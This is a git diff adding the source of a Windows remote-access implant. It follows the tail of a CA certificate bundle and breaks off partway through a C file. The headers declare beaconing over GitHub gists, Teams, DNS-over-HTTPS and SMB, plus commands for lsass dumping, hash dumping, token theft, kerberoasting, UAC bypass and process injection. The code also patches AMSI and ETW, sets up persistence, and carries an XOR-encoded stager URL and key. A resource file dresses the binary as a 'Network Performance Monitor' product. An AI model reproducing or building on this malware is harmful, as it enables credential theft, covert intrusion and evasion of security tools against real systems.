+UqqzApVg+QxMaPnu1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHW
+OXSuTEGC2/KmSNGzm/MzqvOmwMVO9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMB
+AAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYgscasGrz2iTAPBgNVHRMBAf8E
+BTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAKbqSSaet
+8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd
+nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1j
+bhd47F18iMjrjld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvM
+Kar5CKXiNxTKsbhm7xqC5PD48acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIiv
+TDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJnxDHO2zTlJQNgJXtxmOTAGytfdELS
+S8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554WgicEFOwE30z9J4nfr
+I8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4sEb9
+b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNB
+UvupLnKWnyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1P
+Ti07NEPhmg4NpGaXutIcSkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929ven
+sBxXVsFy6K2ir40zSbofitzmdHxghm+Hl3s=
+-----END CERTIFICATE-----
+
+# XRamp Global CA Root
+-----BEGIN CERTIFICATE-----
+MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCB
+gjELMAkGA1UEBhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEk
+MCIGA1UEChMbWFJhbXAgU2VjdXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRY
+UmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQxMTAxMTcx
+NDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMxHjAcBgNVBAsTFXd3
+dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkgU2Vy
+dmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB
+dXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS6
+38eMpSe2OAtp87ZOqCwuIR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCP
+KZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMxfoArtYzAQDsRhtDLooY2YKTVMIJt2W7Q
+DxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FEzG+gSqmUsE3a56k0enI4
+qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqsAxcZZPRa
+JSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNVi
+PvryxS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0P
+BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASs
+jVy16bYbMDYGA1UdHwQvMC0wK6ApoCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0
+eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQEwDQYJKoZIhvcNAQEFBQAD
+ggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc/Kh4ZzXxHfAR
+vbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt
+qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLa
+IR9NmXmd4c8nnxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSy
+i6mx5O+aGtA9aZnuqCij4Tyz8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQ
+O+7ETPTsJ3xCwnR8gooJybQDJbw=
+-----END CERTIFICATE-----
diff --git a/agent/include/adv_lazy.h b/agent/include/adv_lazy.h
new file mode 100644
index 0000000..0005a45
--- /dev/null
+++ b/agent/include/adv_lazy.h
@@ -0,0 +1,31 @@
+#ifndef ADV_LAZY_H
+#define ADV_LAZY_H
+
+#include
+#include
+
+typedef struct {
+ /* token manipulation */
+ BOOL (WINAPI *AdjustTokenPrivileges)(HANDLE,BOOL,PTOKEN_PRIVILEGES,DWORD,PTOKEN_PRIVILEGES,PDWORD);
+ BOOL (WINAPI *DuplicateTokenEx)(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
+ BOOL (WINAPI *ImpersonateLoggedOnUser)(HANDLE);
+ BOOL (WINAPI *LogonUserA)(LPCSTR,LPCSTR,LPCSTR,DWORD,DWORD,PHANDLE);
+ BOOL (WINAPI *LookupPrivilegeNameA)(LPCSTR,PLUID,LPSTR,LPDWORD);
+ BOOL (WINAPI *LookupPrivilegeValueA)(LPCSTR,LPCSTR,PLUID);
+ BOOL (WINAPI *OpenProcessToken)(HANDLE,DWORD,PHANDLE);
+ BOOL (WINAPI *OpenThreadToken)(HANDLE,DWORD,BOOL,PHANDLE);
+ BOOL (WINAPI *RevertToSelf)(void);
+ /* service management */
+ BOOL (WINAPI *CloseServiceHandle)(SC_HANDLE);
+ BOOL (WINAPI *EnumServicesStatusExA)(SC_HANDLE,SC_ENUM_TYPE,DWORD,DWORD,LPBYTE,DWORD,LPDWORD,LPDWORD,LPDWORD,LPCSTR);
+ SC_HANDLE (WINAPI *OpenSCManagerA)(LPCSTR,LPCSTR,DWORD);
+ SC_HANDLE (WINAPI *OpenServiceA)(SC_HANDLE,LPCSTR,DWORD);
+ BOOL (WINAPI *QueryServiceConfigA)(SC_HANDLE,LPQUERY_SERVICE_CONFIGA,DWORD,LPDWORD);
+ SERVICE_STATUS_HANDLE (WINAPI *RegisterServiceCtrlHandlerA)(LPCSTR,LPHANDLER_FUNCTION);
+ BOOL (WINAPI *SetServiceStatus)(SERVICE_STATUS_HANDLE,LPSERVICE_STATUS);
+ BOOL (WINAPI *StartServiceCtrlDispatcherA)(LPSERVICE_TABLE_ENTRYA);
+} adv_api_t;
+
+const adv_api_t *adv_get(void);
+
+#endif /* ADV_LAZY_H */
diff --git a/agent/include/beacon.h b/agent/include/beacon.h
new file mode 100644
index 0000000..44c505b
--- /dev/null
+++ b/agent/include/beacon.h
@@ -0,0 +1,68 @@
+#ifndef BEACON_H
+#define BEACON_H
+
+#include
+#include
+#include "crypto.h"
+
+#define AGENT_ID_LEN 8
+#ifndef BEACON_INTERVAL
+#define BEACON_INTERVAL 30000 /* ms — override with -DBEACON_INTERVAL=N */
+#endif
+#ifndef JITTER_PCT
+#define JITTER_PCT 40
+#endif
+#define OUTPUT_BUF_SIZE (10 * 1024 * 1024)
+
+#pragma pack(push, 1)
+typedef struct {
+ uint16_t magic; /* 0xCC20 */
+ uint32_t agent_id_u32;
+ uint16_t payload_len;
+} msg_header_t;
+#pragma pack(pop)
+
+#define MSG_MAGIC 0xCC20
+
+typedef struct {
+ char agent_id[AGENT_ID_LEN + 1];
+ char hostname[256];
+ char username[128];
+ char os_info[128];
+ char privileges[32];
+ crypto_ctx_t crypto;
+ int handshake_done;
+ char *pending_output;
+ size_t output_len;
+ char last_task_id[64];
+ char parent_id[AGENT_ID_LEN + 1]; /* agent that spawned us, or "" */
+} agent_ctx_t;
+
+int agent_init(agent_ctx_t *ctx);
+void agent_free(agent_ctx_t *ctx);
+
+char *beacon_build(agent_ctx_t *ctx);
+char *beacon_build_handshake(agent_ctx_t *ctx);
+
+int beacon_parse_response(agent_ctx_t *ctx, const char *raw_b64,
+ char *cmd_out, size_t cmd_sz,
+ char *args_out, size_t args_sz,
+ char *task_id_out, size_t task_id_sz,
+ char **data_out);
+
+void beacon_append_output(agent_ctx_t *ctx, const char *data, size_t len);
+void beacon_clear_output(agent_ctx_t *ctx);
+void beacon_sleep(void);
+
+void agent_gen_id(char *id_out);
+void agent_get_hostname(char *buf, size_t len);
+void agent_get_username(char *buf, size_t len);
+void agent_get_os(char *buf, size_t len);
+void agent_get_privileges(char *buf, size_t len);
+void agent_write_parent_id(const char *id);
+
+void agent_write_gs_flag(void);
+int agent_read_gs_flag(void);
+int agent_gs_flag_exists(void); /* 1 if flag file is present (not yet consumed) */
+
+#endif /* BEACON_H */
diff --git a/agent/include/bof.h b/agent/include/bof.h
new file mode 100644
index 0000000..4996d22
--- /dev/null
+++ b/agent/include/bof.h
@@ -0,0 +1,9 @@
+#ifndef BOF_H
+#define BOF_H
+
+#include
+
+int cmd_bof(const char *coff_b64, const char *args_b64,
+ char *output_buf, size_t output_sz);
+
+#endif /* BOF_H */
diff --git a/agent/include/channels.h b/agent/include/channels.h
new file mode 100644
index 0000000..9800905
--- /dev/null
+++ b/agent/include/channels.h
@@ -0,0 +1,54 @@
+#ifndef CHANNELS_H
+#define CHANNELS_H
+
+#include
+
+#define CHANNEL_OK 0
+#define CHANNEL_ERR -1
+#define CHANNEL_RETRY -2
+
+typedef struct {
+ char github_token[256];
+ char gist_cmd_id[64];
+ char gist_out_id[64];
+
+ char teams_tenant_id[64];
+ char teams_client_id[64];
+ char teams_client_secret[256];
+ char teams_webhook_url[512];
+ char teams_team_id[64];
+ char teams_channel_id[64];
+
+ char doh_server[256];
+ char doh_domain[128];
+
+ char beacon_url[512];
+ char http_useragent[512];
+ char http_extra_headers[1024];
+ char http_cert_pin[65];
+
+ char smb_host[256];
+ char smb_pipe[128];
+} channel_config_t;
+
+void channel_config_init(channel_config_t *cfg);
+
+int github_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
+char *github_recv(const channel_config_t *cfg, const char *agent_id);
+
+int teams_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
+char *teams_recv(const channel_config_t *cfg, const char *agent_id);
+
+int doh_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
+char *doh_recv(const channel_config_t *cfg, const char *agent_id);
+
+int http_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
+char *http_recv(void);
+
+int smb_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
+char *smb_recv(void);
+
+int channel_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
+char *channel_recv(const channel_config_t *cfg, const char *agent_id);
+
+#endif /* CHANNELS_H */
diff --git a/agent/include/commands.h b/agent/include/commands.h
new file mode 100644
index 0000000..fc954b1
--- /dev/null
+++ b/agent/include/commands.h
@@ -0,0 +1,70 @@
+#ifndef COMMANDS_H
+#define COMMANDS_H
+
+#include
+
+int cmd_shell(const char *cmdline, char *output_buf, size_t output_size);
+
+int cmd_upload(const char *local_path, const char *data_b64,
+ char *output_buf, size_t output_size);
+
+int cmd_download(const char *local_path, char *output_buf, size_t output_size);
+
+int cmd_sysinfo(char *output_buf, size_t output_size);
+
+int cmd_ps(char *output_buf, size_t output_size);
+int cmd_getpid(const char *name, char *output_buf, size_t output_size);
+
+int cmd_spawn(const char *exe_path, const char *fake_cmdline,
+ const char *real_cmdline,
+ char *output_buf, size_t output_size);
+
+int cmd_getuid(char *output_buf, size_t output_size);
+int cmd_steal_token(unsigned long pid, char *output_buf, size_t output_size);
+int cmd_rev2self(char *output_buf, size_t output_size);
+int cmd_make_token(const char *domain_user, const char *password,
+ char *output_buf, size_t output_size);
+
+int cmd_privs(const char *action, const char *priv_name,
+ char *output_buf, size_t output_size);
+
+int cmd_screenshot(char *output_buf, size_t output_size);
+
+int cmd_execasm(const unsigned char *asm_bytes, size_t asm_len,
+ const char *args_str,
+ char *output_buf, size_t output_size);
+
+int cmd_lsassdump(const char *out_path, char *output_buf, size_t output_size);
+
+int cmd_hashdump(const char *dir, char *output_buf, size_t output_size);
+
+int cmd_portscan(const char *host, unsigned short start, unsigned short end,
+ int timeout_ms, char *output_buf, size_t output_size);
+
+int cmd_ls(const char *path, char *output_buf, size_t output_size);
+int cmd_mkdir(const char *path, char *output_buf, size_t output_size);
+int cmd_rm(const char *path, char *output_buf, size_t output_size);
+int cmd_cp(const char *src, const char *dst, char *output_buf, size_t output_size);
+int cmd_mv(const char *src, const char *dst, char *output_buf, size_t output_size);
+
+int cmd_wmiexec(const char *host, const char *cmdline,
+ char *output_buf, size_t output_size);
+
+int cmd_kerberoast(const char *args, char *output_buf, size_t output_size);
+int cmd_asreproast(const char *args, char *output_buf, size_t output_size);
+
+int cmd_uacbypass(const char *args, char *output_buf, size_t output_size);
+int cmd_privesc(char *output_buf, size_t output_size);
+
+int cmd_getsystem(const char *args, char *output_buf, size_t output_size);
+int cmd_lpe_check(const char *args, char *output_buf, size_t output_size);
+
+int cmd_reg_query(const char *keypath, const char *valname,
+ char *output_buf, size_t output_size);
+int cmd_reg_set(const char *keypath, const char *valname,
+ const char *type_str, const char *value,
+ char *output_buf, size_t output_size);
+int cmd_reg_delete(const char *keypath, const char *valname,
+ char *output_buf, size_t output_size);
+
+#endif /* COMMANDS_H */
diff --git a/agent/include/crypto.h b/agent/include/crypto.h
new file mode 100644
index 0000000..593f1ae
--- /dev/null
+++ b/agent/include/crypto.h
@@ -0,0 +1,56 @@
+#ifndef CRYPTO_H
+#define CRYPTO_H
+
+#include
+#include
+
+#define CHACHA20_KEY_SIZE 32
+#define CHACHA20_NONCE_SIZE 12
+#define POLY1305_TAG_SIZE 16
+#define X25519_KEY_SIZE 32
+#define CRYPTO_OVERHEAD (CHACHA20_NONCE_SIZE + POLY1305_TAG_SIZE)
+
+typedef struct {
+ uint8_t session_key[CHACHA20_KEY_SIZE];
+ uint8_t key_mask[CHACHA20_KEY_SIZE];
+ uint8_t agent_privkey[X25519_KEY_SIZE];
+ uint8_t agent_pubkey[X25519_KEY_SIZE];
+ int key_established;
+} crypto_ctx_t;
+
+int crypto_init(crypto_ctx_t *ctx);
+void crypto_free(crypto_ctx_t *ctx);
+
+int chacha20_poly1305_encrypt(const uint8_t *key, const uint8_t *nonce,
+ const uint8_t *pt, size_t pt_len,
+ uint8_t *ct, uint8_t *tag);
+
+int chacha20_poly1305_decrypt(const uint8_t *key, const uint8_t *nonce,
+ const uint8_t *ct, size_t ct_len,
+ const uint8_t *tag, uint8_t *pt);
+
+int crypto_gen_keypair(uint8_t *pubkey, uint8_t *privkey);
+int crypto_ecdh(const uint8_t *privkey, const uint8_t *peer_pubkey,
+ uint8_t *shared_secret);
+
+int crypto_hkdf(const uint8_t *ikm, size_t ikm_len,
+ const uint8_t *salt, size_t salt_len,
+ const uint8_t *info, size_t info_len,
+ uint8_t *okm, size_t okm_len);
+
+/* ctx->agent_privkey/pubkey must be set first via crypto_gen_keypair() */
+int crypto_do_handshake(crypto_ctx_t *ctx, const uint8_t *server_pubkey);
+
+int crypto_rand_bytes(uint8_t *buf, size_t len);
+
+/* Wire format: nonce(12) | ciphertext(n) | tag(16) — caller free()s result */
+uint8_t *crypto_seal(crypto_ctx_t *ctx,
+ const uint8_t *pt, size_t pt_len, size_t *out_len);
+uint8_t *crypto_open(crypto_ctx_t *ctx,
+ const uint8_t *blob, size_t blob_len, size_t *out_len);
+
+/* Base64 — caller free()s result */
+char *base64_encode(const uint8_t *data, size_t len);
+uint8_t *base64_decode(const char *str, size_t *out_len);
+
+#endif /* CRYPTO_H */
diff --git a/agent/include/evasion.h b/agent/include/evasion.h
new file mode 100644
index 0000000..6a957ee
--- /dev/null
+++ b/agent/include/evasion.h
@@ -0,0 +1,10 @@
+#pragma once
+#include
+
+void evasion_unhook_ntdll(void);
+void evasion_patch_etw(void);
+void evasion_patch_amsi(void);
+void evasion_patch_etw_ti(void);
+void evasion_stomp_header(void);
+BOOL evasion_apply_thread(HANDLE hThread);
+void beacon_sleep_obf(DWORD ms);
diff --git a/agent/include/inject.h b/agent/include/inject.h
new file mode 100644
index 0000000..642ec08
--- /dev/null
+++ b/agent/include/inject.h
@@ -0,0 +1,10 @@
+#pragma once
+#include
+
+DWORD inject_find_target(void);
+HANDLE inject_nt_open_process(DWORD pid, DWORD access);
+int inject_remote(DWORD pid, const BYTE *sc, SIZE_T sc_len);
+int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T sc_len);
+int inject_earlybird(const BYTE *sc, SIZE_T sc_len);
+int inject_self(const BYTE *sc, SIZE_T sc_len);
+int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T sc_len, const char *dll_path);
diff --git a/agent/include/peb_walk.h b/agent/include/peb_walk.h
new file mode 100644
index 0000000..b5a7449
--- /dev/null
+++ b/agent/include/peb_walk.h
@@ -0,0 +1,86 @@
+#ifndef PEB_WALK_H
+#define PEB_WALK_H
+
+#include
+#include
+
+/*
+ * _peb_module(name_lower) — get module base via PEB InMemoryOrderModuleList.
+ * No imports: no GetModuleHandleA in IAT when used exclusively.
+ * name_lower must be lowercase (e.g. "kernel32.dll").
+ *
+ * Inline LDR_DATA_TABLE_ENTRY (x64 offsets — no winternl.h dependency):
+ * +0x00 InLoadOrderLinks (LIST_ENTRY, 16 B)
+ * +0x10 InMemoryOrderLinks (LIST_ENTRY, 16 B) ← list head flinks here
+ * +0x20 InInitOrderLinks (LIST_ENTRY, 16 B)
+ * +0x30 DllBase (PVOID, 8 B)
+ * +0x38 EntryPoint (PVOID, 8 B)
+ * +0x40 SizeOfImage (ULONG, 4 B)
+ * +0x44 _pad1 (ULONG, 4 B)
+ * +0x48 FullDllName.Length (USHORT, 2 B)
+ * +0x4A FullDllName.MaxLength (USHORT, 2 B)
+ * +0x4C _pad2 (USHORT[2], 4 B)
+ * +0x50 FullDllName.Buffer (WCHAR*, 8 B)
+ * +0x58 BaseDllName.Length (USHORT, 2 B)
+ * +0x5A BaseDllName.MaxLength (USHORT, 2 B)
+ * +0x5C _pad3 (USHORT[2], 4 B)
+ * +0x60 BaseDllName.Buffer (WCHAR*, 8 B)
+ */
+static inline HMODULE _peb_module(const char *name_lower)
+{
+#ifdef _WIN64
+ typedef struct {
+ LIST_ENTRY _load;
+ LIST_ENTRY _mem;
+ LIST_ENTRY _init;
+ void *DllBase;
+ void *EntryPoint;
+ ULONG SizeOfImage;
+ ULONG _pad1;
+ USHORT FullLen;
+ USHORT FullMaxLen;
+ USHORT _pad2[2];
+ WCHAR *FullBuf;
+ USHORT BaseLen;
+ USHORT BaseMaxLen;
+ USHORT _pad3[2];
+ WCHAR *BaseBuf;
+ } _ldr_e;
+
+ BYTE *peb = (BYTE *)__readgsqword(0x60);
+ BYTE *ldr = *(BYTE **)(peb + 0x18);
+ LIST_ENTRY *head = (LIST_ENTRY *)(ldr + 0x20); /* InMemoryOrderModuleList */
+ for (LIST_ENTRY *e = head->Flink; e != head; e = e->Flink) {
+ /* e points to _mem (+0x10 from struct base) */
+ _ldr_e *en = (_ldr_e *)((BYTE *)e - 0x10);
+ if (!en->BaseBuf || en->BaseLen == 0) continue;
+ char tmp[64]; int n = en->BaseLen / 2;
+ if (n >= 64) continue;
+ for (int i = 0; i < n; i++) {
+ WCHAR c = en->BaseBuf[i];
+ tmp[i] = (char)((c >= L'A' && c <= L'Z') ? c + 32 : c);
+ }
+ tmp[n] = '\0';
+ if (strcmp(tmp, name_lower) == 0) return (HMODULE)en->DllBase;
+ }
+#else
+ (void)name_lower;
+#endif
+ return NULL;
+}
+
+/*
+ * _peb_self_base() — own image base via PEB.ImageBaseAddress (offset 0x10 x64).
+ * Replaces GetModuleHandleA(NULL) — removes it from IAT.
+ */
+static inline void *_peb_self_base(void)
+{
+#ifdef _WIN64
+ BYTE *peb = (BYTE *)__readgsqword(0x60);
+ return *(void **)(peb + 0x10);
+#else
+ return NULL;
+#endif
+}
+
+#endif /* PEB_WALK_H */
diff --git a/agent/include/persist.h b/agent/include/persist.h
new file mode 100644
index 0000000..e7343ae
--- /dev/null
+++ b/agent/include/persist.h
@@ -0,0 +1,11 @@
+#pragma once
+#include
+
+typedef enum {
+ PERSIST_REGISTRY = 0,
+ PERSIST_SCHTASK = 1,
+} persist_method_t;
+
+int persist_install(persist_method_t method);
+int persist_remove(persist_method_t method);
+int persist_auto(void);
diff --git a/agent/include/socks.h b/agent/include/socks.h
new file mode 100644
index 0000000..e5611ed
--- /dev/null
+++ b/agent/include/socks.h
@@ -0,0 +1,15 @@
+#ifndef SOCKS_H
+#define SOCKS_H
+
+#include
+
+int socks_start(unsigned short port, char *output_buf, size_t output_sz);
+int socks_stop(char *output_buf, size_t output_sz);
+int socks_running(void);
+
+int rportfwd_start(unsigned short lport, const char *rhost, unsigned short rport,
+ char *out, size_t outsz);
+int rportfwd_stop(unsigned short lport, char *out, size_t outsz);
+int rportfwd_list(char *out, size_t outsz);
+
+#endif /* SOCKS_H */
diff --git a/agent/include/stager_config.h b/agent/include/stager_config.h
new file mode 100644
index 0000000..8b21754
--- /dev/null
+++ b/agent/include/stager_config.h
@@ -0,0 +1,17 @@
+/* AUTO-GENERATED by tools/gen_stager_config.py � do not edit manually. */
+#ifndef STAGER_CONFIG_H
+#define STAGER_CONFIG_H
+
+#ifndef CFG_XOR_KEY_LEN
+#define CFG_XOR_KEY_LEN 16
+static const unsigned char CFG_XOR_KEY[16] = { 0x7a, 0x3f, 0x91, 0xc4, 0x52, 0x88, 0xb1, 0xde, 0xad, 0xbe, 0xef, 0x13, 0x37, 0xca, 0xfe, 0x42 };
+#endif
+
+/* STAGE_URL � XOR-encoded (96 bytes) */
+static const unsigned char CFG_STAGE_URL[] = {0x12, 0x4b, 0xe5, 0xb4, 0x68, 0xa7, 0x9e, 0xef, 0x9f, 0x89, 0xc1, 0x23, 0x19, 0xfa, 0xd0, 0x73, 0x40, 0x07, 0xa1, 0xf4, 0x62, 0xa7, 0xd0, 0xae, 0xc4, 0x91, 0x9c, 0x67, 0x56, 0xad, 0x9b, 0x6d, 0x18, 0x5c, 0xf5, 0xf4, 0x64, 0xe9, 0x82, 0xea, 0x98, 0x89, 0x8c, 0x21, 0x03, 0xfa, 0xcc, 0x72, 0x4b, 0x06, 0xa4, 0xf4, 0x66, 0xb9, 0x83, 0xec, 0xc8, 0x89, 0xd8, 0x76, 0x06, 0xf9, 0xcd, 0x26, 0x18, 0x0b, 0xa1, 0xa1, 0x6b, 0xea, 0x88, 0xba, 0x95, 0x8b, 0xda, 0x75, 0x0e, 0xf9, 0xcd, 0x7b, 0x19, 0x5a, 0xf0, 0xf0, 0x66, 0xbb, 0xd0, 0xea, 0x94, 0x8c, 0xd6, 0x24, 0x52, 0xac, 0xc6, 0x76, 0x00};
+#define CFG_STAGE_URL_LEN 96
+
+/* STAGE_KEY � ChaCha20 key, XOR-encoded (32 bytes) */
+static const unsigned char CFG_STAGE_KEY[32] = {0x50, 0x7e, 0xe8, 0x62, 0x2f, 0x68, 0x44, 0xf9, 0x0b, 0xc0, 0xd9, 0xc2, 0xd5, 0x25, 0xb9, 0x32, 0x58, 0x6c, 0x9a, 0x9a, 0x62, 0xc5, 0xf3, 0x16, 0xab, 0xbb, 0x1a, 0x2c, 0x53, 0x9b, 0x99, 0xff};
+
+#endif /* STAGER_CONFIG_H */
diff --git a/agent/include/util.h b/agent/include/util.h
new file mode 100644
index 0000000..7e7a9b8
--- /dev/null
+++ b/agent/include/util.h
@@ -0,0 +1,11 @@
+#ifndef UTIL_H
+#define UTIL_H
+
+const char *random_ua(void);
+
+#ifndef HTTP_ONLY
+#include
+void curl_apply_opsec(CURL *curl);
+#endif /* HTTP_ONLY */
+
+#endif /* UTIL_H */
diff --git a/agent/rebuild_agent.ps1 b/agent/rebuild_agent.ps1
new file mode 100644
index 0000000..ac03aea
--- /dev/null
+++ b/agent/rebuild_agent.ps1
@@ -0,0 +1,38 @@
+$AgentDir = $PSScriptRoot
+$Make = "C:\msys64\usr\bin\make.exe"
+
+Set-Location $AgentDir
+
+# Kill agent if running, wait for OS to release file lock
+Stop-Process -Name "agent" -Force -ErrorAction SilentlyContinue
+Start-Sleep -Milliseconds 800
+
+# Step 1: regen obfuscation config + fresh EVS_KEY (polymorphisme par build)
+Write-Host "[*] Generation config (EVS_KEY aleatoire)..." -ForegroundColor Cyan
+$cfg_out = & $Make config 2>&1
+$cfg_err = $cfg_out | Select-String -Pattern "error:" | Where-Object { $_ -notmatch "0 error" }
+if ($cfg_err) {
+ Write-Host "[!] Erreur config :" -ForegroundColor Red
+ $cfg_err | ForEach-Object { Write-Host " $_" -ForegroundColor Red }
+ exit 1
+}
+$cfg_out | Select-String "\[ok\]|EVS_KEY" | ForEach-Object { Write-Host " $_" -ForegroundColor DarkCyan }
+
+# Step 2: compile
+Write-Host "[*] Compilation..." -ForegroundColor Cyan
+$output = & $Make lean 2>&1
+$errors = $output | Select-String -Pattern "error:" | Where-Object { $_ -notmatch "0 error" }
+
+if ($errors) {
+ Write-Host "[!] Erreurs de compilation :" -ForegroundColor Red
+ $errors | ForEach-Object { Write-Host " $_" -ForegroundColor Red }
+ exit 1
+}
+
+$ok = $output | Select-String -Pattern "\[ok\]"
+if ($ok) {
+ Write-Host "[+] $ok" -ForegroundColor Green
+} else {
+ Write-Host "[?] Compilation terminee (verifier manuellement)" -ForegroundColor Yellow
+ $output | Select-String -Pattern "warning:|error:" | ForEach-Object { Write-Host " $_" }
+}
diff --git a/agent/res/agent.manifest b/agent/res/agent.manifest
new file mode 100644
index 0000000..c958800
--- /dev/null
+++ b/agent/res/agent.manifest
@@ -0,0 +1,30 @@
+
+
+
+ Network Performance Monitor
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ PerMonitorV2
+ true
+
+
+
diff --git a/agent/res/agent.rc b/agent/res/agent.rc
new file mode 100644
index 0000000..db9f01a
--- /dev/null
+++ b/agent/res/agent.rc
@@ -0,0 +1,32 @@
+#include
+
+VS_VERSION_INFO VERSIONINFO
+ FILEVERSION 2,3,0,1
+ PRODUCTVERSION 2,3,0,1
+ FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
+ FILEFLAGS 0x0L
+ FILEOS VOS_NT_WINDOWS32
+ FILETYPE VFT_APP
+ FILESUBTYPE VFT2_UNKNOWN
+BEGIN
+ BLOCK "StringFileInfo"
+ BEGIN
+ BLOCK "040904B0"
+ BEGIN
+ VALUE "CompanyName", "Celerix Technologies Inc."
+ VALUE "FileDescription", "Network Performance Monitor"
+ VALUE "FileVersion", "2.3.0.1"
+ VALUE "InternalName", "netpulse"
+ VALUE "LegalCopyright", "Copyright (C) 2025 Celerix Technologies Inc. All rights reserved."
+ VALUE "OriginalFilename", "NetPulse.exe"
+ VALUE "ProductName", "NetPulse Suite"
+ VALUE "ProductVersion", "2.3"
+ END
+ END
+ BLOCK "VarFileInfo"
+ BEGIN
+ VALUE "Translation", 0x0409, 0x04B0
+ END
+END
+
+1 RT_MANIFEST "agent.manifest"
diff --git a/agent/src/adv_lazy.c b/agent/src/adv_lazy.c
new file mode 100644
index 0000000..009ac0e
--- /dev/null
+++ b/agent/src/adv_lazy.c
@@ -0,0 +1,51 @@
+#include "adv_lazy.h"
+#include "evs_strings.h"
+#include
+
+static adv_api_t _adv;
+static int _adv_ok = 0;
+
+static void _xdec(const unsigned char *enc, size_t n, char *out) {
+ volatile unsigned char k = EVS_KEY;
+ for (size_t i = 0; i < n; i++) out[i] = (char)(enc[i] ^ k);
+ out[n] = '\0';
+}
+
+const adv_api_t *adv_get(void)
+{
+ if (_adv_ok) return &_adv;
+
+ char dll[16], fn[40];
+ _xdec(EVS_dll_advapi32, sizeof(EVS_dll_advapi32), dll);
+ HMODULE h = LoadLibraryA(dll);
+ SecureZeroMemory(dll, sizeof(dll));
+ if (!h) return &_adv;
+
+ struct { const unsigned char *enc; size_t n; void **p; } t[] = {
+ { EVS_fn_AdjustTokenPrivileges, sizeof(EVS_fn_AdjustTokenPrivileges), (void **)&_adv.AdjustTokenPrivileges },
+ { EVS_fn_DuplicateTokenEx, sizeof(EVS_fn_DuplicateTokenEx), (void **)&_adv.DuplicateTokenEx },
+ { EVS_fn_ImpersonateLoggedOnUser, sizeof(EVS_fn_ImpersonateLoggedOnUser), (void **)&_adv.ImpersonateLoggedOnUser },
+ { EVS_fn_LogonUserA, sizeof(EVS_fn_LogonUserA), (void **)&_adv.LogonUserA },
+ { EVS_fn_LookupPrivilegeNameA, sizeof(EVS_fn_LookupPrivilegeNameA), (void **)&_adv.LookupPrivilegeNameA },
+ { EVS_fn_LookupPrivilegeValueA, sizeof(EVS_fn_LookupPrivilegeValueA), (void **)&_adv.LookupPrivilegeValueA },
+ { EVS_fn_OpenProcessToken, sizeof(EVS_fn_OpenProcessToken), (void **)&_adv.OpenProcessToken },
+ { EVS_fn_OpenThreadToken, sizeof(EVS_fn_OpenThreadToken), (void **)&_adv.OpenThreadToken },
+ { EVS_fn_RevertToSelf, sizeof(EVS_fn_RevertToSelf), (void **)&_adv.RevertToSelf },
+ { EVS_fn_CloseServiceHandle, sizeof(EVS_fn_CloseServiceHandle), (void **)&_adv.CloseServiceHandle },
